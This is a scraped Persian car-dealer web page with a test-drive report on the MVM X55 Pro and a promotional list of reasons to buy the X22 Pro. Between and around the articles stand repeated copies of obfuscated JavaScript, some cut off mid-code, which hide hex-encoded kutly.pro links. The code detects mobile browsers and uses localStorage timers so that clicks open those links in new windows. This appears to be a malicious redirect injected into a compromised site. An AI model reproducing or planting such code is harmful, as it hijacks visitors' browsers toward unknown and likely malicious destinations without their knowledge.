Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

ایکس 55 پرو تست درایو

تجربه رانندگی با X55 پرو مدیران خودرو

کراس اوور کامپکت X55 مدیران خودرو در نوع خود محصولی جدید به حساب می‌آید که از سال 1398 روانه بازار کشور شد. با این وجود، شرکت چری با همکاری مدیران خودرو، نسخه فیس لیفت شده این کراس اوور جدید را با نام X55 Pro به زودی روانه بازار کشور می‌کند. این نسخه فیس لیفت شده از برخی زوایای بسیار مهم مورد ارتقا و تغییرات قابل توجهی قرار گرفته است.

X55 Pro که به زودی در بازار کشور عرضه خواهد شد، روز جمعه 28ام آبان‌ ماه در پیست اتومبیلرانی مجموعه ورزشی آزادی، برای آزمایش و تجربه رانندگی در اختیار مشتریان بالقوه نمایندگی‌ 777 مدیران خودرو قرار گرفت.

x55pro

بر اساس نظرسنجی های بعمل آمده از مشتریان دعوت شده پس از تست رانندگی خودروی ایکس 55 پرو،  این محصول یک سر و گردن بالاتر از تمامی خودرو های رقیب به حساب آمده و با توجه به طیف مناسبی از امکانات رفاهی و ایمنی و دارا بودن توان و قدرت بالا، گزینه بسیار مناسبی به شمار می آید. آنچه که مسلم است اذعان مشتریان به بهبود طراحی و کیفی در بخش قطعات و متریال استفاده شده در این خودرو بوده و از لحاظ طراحی و کیفیت رانندگی هم با اختلاف سطح مطلوبی از رضایتمندی را به مشتری ارائه می کند.

x55pro

X55 پرو

X55 در زمان عرضه در سال 1398، از دیدگاه ظاهری با سایر محصولات مدیران خودرو تفاوت بسیاری داشت. این تفاوت اولین بار با حضور X22 در بازار ایران جا افتاد. محصولی که در زمان ورود به بازار نشان دهنده اعمال تغییرات در زبان طراحی برند چری بود. X55 نیز با طراحی متمایز عقب و جلو، نشان داده چری به زودی تحولاتی را در زبان طراحی خود اعمال می‌کند که خانواده محصولات این شرکت را تحت تاثیر قرار خواهد داد.

x55pro

این مهم هم اکنون در طیف محصولات جدیدی که مدیران خودرو به بازار کشور عرضه خواهد کرد، به خوبی دیده می‌شود. تیگو 8 پرو و تیگو 7 پرو به نوعی الهام بخش تغییرات اعمال  شده بر نسخه پرو X55 هستند. از این رو X55 جدید در نمای جلو از جلوپنجره مشابه با دو محصول برتر، از نوع کهکشانی بهره می‌گیرد تا همخوانی بیشتری با سایر خودروهای تولیدی چری داشته باشد. این جلو پنجره حس لوکس‌تری را به بیننده القا می‌کند.

x55pro

هرچند چراغ‌های جلو تغییر خاصی به خود ندیده است اما سیستم روشنایی آن کاملا به نوع LED تغییر یافته است که پیشرفت بسیار مهمی به حساب می‌آید و احتمالا در آینده نزدیک در تک تک محصولات مدیران خودرو به کار گرفته خواهد شد. زیر سپرهای مجهز به سیستم روشنایی در روز نوع LED نیز با تغییر فاحش در طراحی مواجه شده است و حالا طراحی تقریبا مثلثی ادغام شده در دو گوشه سپر دارد. در نمای جانبی X55 پرو و در بخش مشکی رنگ ضربه‌گیرهای رکاب، از تریم تزئیناتی قرمز بر روی تریم مشکی پیانویی استفاده شده است که در زیر سپر نمای جلوخودرو نیز دیده می‌شود. تنها همین تغییر جزئی تا حد زیادی نمای جانبی را دگرگون کرده است. البته نباید فراموش کرد که تریم‌های اسپرت جدید خودرو نیز حالا از تریم‌های پلاستیکی قرمز رنگ و مشکی پیانویی بهره می‌برد که تا کنون بر هیچ خودرو دیگری در بازار ایران به کار گرفته نشده بود. استفاده از تریم‌های مشترک اینچنین، تناسب و هماهنگی طراحی را در سراسر بدنه خودرو به شدت افزایش می‌دهد.

x55pro

یکی از بزرگ‌ترین تغییرات اعمال شده، دگرگونی کامل نمای داخلی X55 پرو است. داشبرد و تزئینات داخلی این خودرو حالا کاملا با نمای داخلی کراس اوور جدید رده بالاتر تیگو 7 پرو مشترک شده است که شامل استفاده از طراحی بسیار ساده اما لوکس و جذاب داشبرد افقی قرینه، مزین به تریم تزئیناتی چرم قرمز رنگ، مشترک با رودری‌ها و صندلی‌ها و حتی دوخت بخیه به کار رفته در نمای داخلی است که جلوه بسیار لوکس و متمایزی به X55 پرو می‌بخشد. کنسول میانی با تریم مشکی رنگ پیانویی وکلید‌های کنترلی لمسی نیز از نوع دو طبقه، مجهز به شیفتر دنده از نوع الکترونیکی (بجای مکانیکی) است که جلوه بسیار مدرن و زیباتری به نمای داخلی می‌بخشد.

شاید یکی از بزرگ‌ترین نقاط چالشی X55 سبک طراحی نمای داخلی آن بود که با ظاهر خودرو تناسب چندانی نداشت. خوشبختانه در نسخه فیس لیفت پرو این مهم به طور کلی رفع شده است.

x55pro

تغییرات بیشتر

داستان اعمال تغییرات بر نسخه پرو به همین جا ختم نمی‌شود. پیشرانه همان نسخه 1.5 لیتری چهار سیلندر توربوچارجر است اما حالا با افزایش 10 اسب بخاری توان، حالا برابر با 156 اسب بخار و 230 نیوتون متر گشتاور دارد و به جای گیربکس شش سرعت دو کلاچ (6DCT) در نسل قبل، به نسخه 9 سرعت ضریب متغیر (9CVT) مجهز شده است که در سایر محصولات جدید مدیران خودرو نظیر آریزو 5 جدید و آریزو 6 نیز دیده می‌شود.

نمایشگر سیستم مولتی مدیا خودرو نه تنها از دیدگاه طراحی بلکه از نظر ابعادی با 1.25 اینچ افزایش ابعاد، به 10.25 این ارتقا یافته است. صندلی برقی راننده حالا به سیستم گودی کمر برقی و گرم‌کن برقی نیز مجهز شده است تا آسایش و لذت سوار را نیز ارتقا دهد. همچنین سیستم شارژ بی‌سیم هوشمند بر بخش مرکزی داشبرد افزوده شده است تا سرنشینان را از اتصال تلفن همراه هوشمند به کابل آسوده کند.

x55pro

سخن آخر

رویه بسیار سریع مدیران خودرو در ارائه محصولات روز و تغییر یافته برند چری در بازار ایران به اندازه‌ای سریع است که هیچ خودروساز دیگری در کشور توان رقابت با این سرعت را ندارد. معرفی محصولات جدیدی چون تیگو 8 پرو، تیگو 7 پرو و حالا X55 پرو نشان می‌دهد که در آینده نزدیک، سبد محصولات شرکت مدیران خودرو دستخوش یک نوسازی اساسی خواهد شد تا بازار رقابتی خودروهای مونتاژی کشور را همچنان داغ نگه دارد.

x55pro

علاقمندان به دیدن تصاویر بیشتر و تماشای ویدئو های تست رانندگی این خودرو به همراه مصاحبه مشتریان عزیز، می توانند به اینستاگرام رسمی شعب 777 به آدرس mvmchery777 مراجعه نموده و همچنین برای کسب اطلاعات بیشتر در خصوص شرایط فروش خودرو از طریق ارسال پیام در صفحه اینستاگرام و یا تکمیل فرم در سایت به نشانی https://mvmchery.com/khodro  با ما در ارتباط باشند.

نویسنده هیئت تحریریه ۷۷۷

هر گونه نقل مطلب از هر قسمت این سایت بدون اجازه کتبی از مدیریت سایت ممنوع می باشد.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

۷ دلیل که باید ایکس۲۲ پرو را انتخاب کنیم

انتخاب خودرو یکی از انتخاب هاییست که افراد می بایست تمام جوانب انتخاب همراه خود را در نظر داشته باشند و برای این انتخاب گزینه های زیادی را پیشرو دارند در این اینجا ما قصد داریم تا ۷ دلیل مهم برای انتخاب خودرو ایکس۲۲ پرو را بیان کنیم.

خودرو ایکس 22 پرو نسخه جدید خودرو محبوب مدیران خودرو، ایکس22 است که این شرکت قصد دارد این خودرو را در پاییز امسال رونمایی کند و با تغییرات جدیدی همراه شده است. اما هفت دلیل برای خرید این خودرو:

طراحی جذاب

همیشه در انتخاب خودرو اولین موردی که توجه همه را به خود جلب میکند ظاهر خودروست. خودرو ایکس22 پرو با طراحی جدید و مدرن خود می تواند  نظر مشتریان جوان را به خود جلب کند و با طراحی جذاب خود در جلو پنجره و چراغ ها، ظاهری اسپرت را ارائه دهد و حرفی برای گفتن داشته باشد. از طرفی چراغ های پر قدرت با طراحی جدید هم به ایجاد این حس کمک بسیاری کرده و توانسته به ارتقای جذابیت ظاهر خودرو کمک بسیاری کند .

x22 pro

مانیتور بزرگ و دوست داشتنی

از ظاهر که بگذریم رانندگان بیشتر زمان خود را درون خودرو سپری می کنند و داشتن طراحی داخلی زیبا یکی از دلایل مهم برای انتخاب خودروست. طراحی جدید داشبورد ایکس 22 پرو با یک مانیتور بزرگ 9 اینچی که دسترسی راحت تر را برای راننده به ارمغان آورده پیشنهادیست که در سایر خودرو های هم رده کمتر دیده می شود. یکی دیگر از قابلیت های پر استفاده این مانیتور قابلیت اتصال تلفن همراه به مانیتور است و امکان نمایش برنامه های پر استفاده گوشی را به شما خواهد داد.

رانندگی نرم تر

دلیل سوم انتخاب ایکس22 پرو تکنولوژی استفاده شده در این خودروست. ایکس22 پرو به آسایش رانندگان در حین رانندگی بسیار کمک کرده و بساری از امکانات رفاهی راننده را فراهم کرده است. در رانندگی با این خودرو شاید اولین چیزی که نظر شما را به خود جلب کند فرمان برقی این خودروست. فرمان برقی EPS ایکس 22 پرو زمانی که در سرعت های پایین و هنگام پارک کردن به نیروی زیادی نیاز دارید، این نیرو را برای راننده فراهم کرده تا فشار اضافی به دست وارد نکند. از طرف دیگر، در سرعت های بالا که برای ایمنی بیشتر، نیاز به کنترل بیشتر و سنگین تر شدن فرمان است، این نیرو را کاهش می دهد. همچنین به دلیل هدایت فرمان برقی با سیستم نرم افزاری، دقت، اعتدال و حساسیت فرمان به مراتب بالا می رود.

x22 pro

آسایش در رانندگی

یکی دیگر از قابلیت های بسیار کارآمد در این خودرو سیستم اتوهلد است. اتوهلد ایکس22 پرو نهایت آسایش و البته امنیت را برای راننده به ارمغان می آورد. سیستم اتوهلد یکی از تجیهزاتی است که در شهرهای بزرگ و کوچک که از ترافیک برخوردار هستند، بسیار مورد استفاده قرار خواهد گرفت و باعث رفاه حال راننده خواهد شد. در حقیقت زمانی که خودرو در ترافیک قرار می گیرد راننده نیاز است که به کرات ترمز را بفشارد و سپس اهرم دنده را خلاص نماید و به منظور حرکت دوباره باید اهرم دنده را در حالت حرکت قرار دهد و سپس پدال گاز را بفشارد. این چرخه تا زمانی که از ترافیک خلاص نشوید ادامه خواهد داشت و باعث خستگی زیاد عضلات پا و دست خواهد شد و از نظر روانی هم بسیار آزار دهنده است. اینجاست که اتوهلد (AUTO HOLD) نقش موثری خواهد داشت. عملکرد این سیستم به گونه است که پیش از گیر کردن در ترافیک راننده آن را فعال می نماید .این سیستم زمانی که راننده پدال ترمز را می فشارد و خودرو به ایست کامل می رسد بطور اتوماتیک توسط ترمز دستی خودرو را ثابت نگه می دارد و دیگر لازم نیست که راننده پدال ترمز را پایین نگه دارد

رانندگی ایمن

از موارد دیگری که باعث نگرانی رانندگان در هنگام رانندگی میشود فشار باد لاستیک هاست. در حقیقت سیستم TPMS مخفف Tire Pressure Monitoring System است و وظیفه آن نشان دادن میزان باد لاستیک ها به راننده می باشد. این سیستم به صورت الکترونیکی کار می کند و به صورت زنده میزان باد لاستیک را به راننده گزارش می دهد. این سیستم می تواند نه تنها از بروز تصادف هایی که به این دلیل پیش می آید جلوگیری کند بلکه با تذکر به راننده در مورد کم بودن باد لاستیک ها، میزان مصرف سوخت را نیز کاهش دهد.

کروز کنترل

سیستم نگهدارنده سرعت یا همان کروز کنترل سیستمی در خودروهاست که اجازه کنترل سرعت در یک وضعیت ثابت را برای راننده فراهم می کند  تصور کنید که آماده سفری می شوید اما شما تنها کسی هستید که می توانید رانندگی کنید و جاده ای هزار کیلومتری در پیش روی شماست. فکر کردن درباره این جاده که حداقل چندین ساعت از آن مسیری مستقیم است پیش از نشستن پشت فرمان نیز شما را خسته خواهد کرد! اما خوشبختانه کروز کنترل می تواند بار زیادی را از روی دوش شما بردارد.

موتور و گیربکس

خودرو ایکس22 پرو با گیربکس 9 سرعته cvt می تواند دلیلی دیگر برای خرید این خودرو باشد. این گیربکس نسل جدید،  سبب تعویض دنده نرمتر و بهینه تر می گردد. از دیگر مزایای این خودرو موتور بسیار کم مصرف این خودروست که با وجود مصرف کم شتاب بسیار خوبی را به راننده ارائه میدهد و لذت رانندگی با این خودرو را چند برابر می کند.

منبع: پایگاه اطلاع رسانی عصر خودرو

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( 